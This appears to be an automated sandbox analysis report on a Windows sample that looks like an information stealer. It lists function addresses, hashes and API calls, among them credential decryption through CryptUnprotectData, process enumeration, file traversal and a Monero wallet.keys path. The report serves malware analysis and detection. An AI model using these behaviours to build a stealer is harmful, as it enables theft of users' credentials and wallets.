Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 781dc9e4b5ae1d17775064d2dec5dc06213594188be40d75e7a8ffc3651ae5e3
Instruction ID: e5282ca2a26bb06248ff7717e751b3e43e4e8919800bb839c40c4a24b1370731
Opcode Fuzzy Hash: 781dc9e4b5ae1d17775064d2dec5dc06213594188be40d75e7a8ffc3651ae5e3
Instruction Fuzzy Hash: 5312FBB191011C9ADB18FB64DC96EFD73B8AB54340F4085E9A60EA7091EF706F4DCB92

Function 00BEC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00BEC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00BEC87C
lstrcat.KERNEL32(?,00C00B46), ref: 00BEC943
lstrcat.KERNEL32(?,00C00B47), ref: 00BEC957
lstrcat.KERNEL32(?,00C00B4E), ref: 00BEC978

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 6c5ff3aba035736508cd16bcddf761cdc43d929a6e3651a4899024fef27b5a96
Instruction ID: baa4d79ae7774e9e6c87f0fde5026cc49c6eeca57f3fda93ad0b3a099116781a
Opcode Fuzzy Hash: 6c5ff3aba035736508cd16bcddf761cdc43d929a6e3651a4899024fef27b5a96
Instruction Fuzzy Hash: 9B4160B990421ADFCB20DFA4DD89BFEBBB8BB44304F1441B8E509A7281D7705A85CF91

Function 00FAB061 Relevance: 7.6, Strings: 5, Instructions: 1308COMMON

Download Yara Rule

Strings

Zqw, xrefs: 00FABF66
_e', xrefs: 00FAB096
#~, xrefs: 00FAB71E
1|?n, xrefs: 00FAB6DB
y]?, xrefs: 00FAB856

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Zqw$1|?n$_e'$#~$y]?
API String ID: 0-507574501
Opcode ID: 6e38fd7e27e7c4597ba687700ee4eb7c805054c4e71b3bc903075ffa6d747294
Instruction ID: 648eed16c5c2335b620cf7d461bd670672ec819efe0a23cb2ebb8d608b797d06
Opcode Fuzzy Hash: 6e38fd7e27e7c4597ba687700ee4eb7c805054c4e71b3bc903075ffa6d747294
Instruction Fuzzy Hash: B09219F390C2009FE304AE29EC8567AB7E9EF94720F16893DEAC4D7744EA7558018797

Function 00BE7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00BE724D
RtlAllocateHeap.NTDLL(00000000), ref: 00BE7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00BE7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00BE72A4
LocalFree.KERNEL32(?), ref: 00BE72AE

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: e92c36e31904e8b7d8bccb605ad26f9ac84542916c9df9d24548274aebf1d356
Instruction ID: 23adcd354e353b29a62acc4e137bc10e76f783875a7e839e2274335370561ef2
Opcode Fuzzy Hash: e92c36e31904e8b7d8bccb605ad26f9ac84542916c9df9d24548274aebf1d356
Instruction Fuzzy Hash: 8F0100B5A40208BFDB24DBD5DD4AF9D77B8EB44700F144155FB05BA2C0DBB0AA058B65

Function 00BF9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BF961E
Process32First.KERNEL32(00C00ACA,00000128), ref: 00BF9632
Process32Next.KERNEL32(00C00ACA,00000128), ref: 00BF9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00BF965C
CloseHandle.KERNEL32(00C00ACA), ref: 00BF967A

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 6858b816f69b9d8ab0552f5ee45eef92fa0c1c7b6f73b7c7d49702635cfaf008
Instruction ID: fa70b9869641818f0e0350bde286080e6ae36d47a916c1fe52181881b0f655ea
Opcode Fuzzy Hash: 6858b816f69b9d8ab0552f5ee45eef92fa0c1c7b6f73b7c7d49702635cfaf008
Instruction Fuzzy Hash: 0201E975A00208AFCB24DFA5C988BEDB7F8EB48300F144199AA05E7240DB749A49CF51

Function 00FB88C1 Relevance: 7.4, Strings: 5, Instructions: 1198COMMON

Download Yara Rule

Strings

d1yg, xrefs: 00FB91F2
_;E, xrefs: 00FB92C5
dH:k, xrefs: 00FB8DF8
"oY, xrefs: 00FB9479
tuz, xrefs: 00FB8CFA

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: _;E$d1yg$dH:k$tuz$"oY
API String ID: 0-1707974270
Opcode ID: 32f3c0ad658d01fe933c764d03d438e94d0e4dfc16463bbefca9ccdb783f3396
Instruction ID: ee14d366056b9885f01358298b2e4ceb50f5ca9a3803223341ba0155ea74ee58
Opcode Fuzzy Hash: 32f3c0ad658d01fe933c764d03d438e94d0e4dfc16463bbefca9ccdb783f3396
Instruction Fuzzy Hash: C18205F3A086049FE304AE2DEC8567AFBE5EF94320F16893DEAC4C7744E63558058697

Function 00FB6BC6 Relevance: 6.4, Strings: 4, Instructions: 1393COMMON

Download Yara Rule

Strings

r|, xrefs: 00FB6D5E, 00FB6D81
.}, xrefs: 00FB7130
fc{, xrefs: 00FB762F
7L?}, xrefs: 00FB7576

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .}$7L?}$fc{$r|
API String ID: 0-94770799
Opcode ID: c709065842e6e5b28bceaa604b03a546c335c7c958f7f7b2aedbfe82f9d8d9fa
Instruction ID: 7e7d089eaf7552365fa94e72a4ea566c47acc69af4bc6a820f080c654e8310b7
Opcode Fuzzy Hash: c709065842e6e5b28bceaa604b03a546c335c7c958f7f7b2aedbfe82f9d8d9fa
Instruction Fuzzy Hash: 2292F8F3A0C2049FE3046E2DEC4566AFBE5EF94320F1A463DEAC4C7744E63599058697

Function 00BF8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00C005B7), ref: 00BF86CA
Process32First.KERNEL32(?,00000128), ref: 00BF86DE
Process32Next.KERNEL32(?,00000128), ref: 00BF86F3

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

CloseHandle.KERNEL32(?), ref: 00BF8761

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: cc2501a22999b132fa65c96ddb9d81220084a15873002b936d781036bde432a8
Instruction ID: 2721d3a298d100a99d0000a4da1b83206b107a100b47dde2ceea4bfe1468114a
Opcode Fuzzy Hash: cc2501a22999b132fa65c96ddb9d81220084a15873002b936d781036bde432a8
Instruction Fuzzy Hash: D4310CB190111CABCB28EB55DC45FEEB7B8EB45740F1041E9A60DA71A0DB706E49CFA1

Function 00BF8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00BE5184,40000001,00000000,00000000,?,00BE5184), ref: 00BF8EC0

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: ab96b1a896bc1c229a0ea465c865443646ad620fd6ae217a484148eab6177b98
Instruction ID: 5fd4cd35aca43cc73379100f870ccbcdea65da1c3c28e93f10346724c7750be4
Opcode Fuzzy Hash: ab96b1a896bc1c229a0ea465c865443646ad620fd6ae217a484148eab6177b98
Instruction Fuzzy Hash: F4110670200208AFDB04CF65D889FBA33E9EF89700F149898FA198B250DB75E849DB60

Function 00BE9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BE4EEE,00000000,00000000), ref: 00BE9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00BE4EEE,00000000,?), ref: 00BE9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BE4EEE,00000000,00000000), ref: 00BE9B2A
LocalFree.KERNEL32(?,?,?,?,00BE4EEE,00000000,?), ref: 00BE9B3F

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: d7b65a546378e26a3dfa37bc385b536c3c570853736346738a176e62781cbd78
Instruction ID: 989c557be274e30ac2bd16195bc1e7af170ffeaa5068a8ec830507a6297e896b
Opcode Fuzzy Hash: d7b65a546378e26a3dfa37bc385b536c3c570853736346738a176e62781cbd78
Instruction Fuzzy Hash: 4911A2B4240208BFEB14CF65DC95FAA77B5FB89700F208098FA159B390C7B6A945CB90

Function 00BF7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00C00E00,00000000,?), ref: 00BF79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00BF79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00C00E00,00000000,?), ref: 00BF79C4
wsprintfA.USER32 ref: 00BF79F3

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 4378355f7d3e3d925bbc8f06752b3ee17de16b20372c23707bea34214ee14aa3
Instruction ID: 3dfb66e624fb23f63ca9ba9f91168ec7f524d74efa5c77ea0bdcb67a524a7650
Opcode Fuzzy Hash: 4378355f7d3e3d925bbc8f06752b3ee17de16b20372c23707bea34214ee14aa3
Instruction Fuzzy Hash: D3115AB2904118ABCB18DFCADD44BBEB7F8FB4CB11F04415AF601A2280E3785905CBB1

Function 00BF7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,009BE958,00000000,?,00C00E10,00000000,?,00000000,00000000), ref: 00BF7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00BF7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,009BE958,00000000,?,00C00E10,00000000,?,00000000,00000000,?), ref: 00BF7A7D
wsprintfA.USER32 ref: 00BF7AB7

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
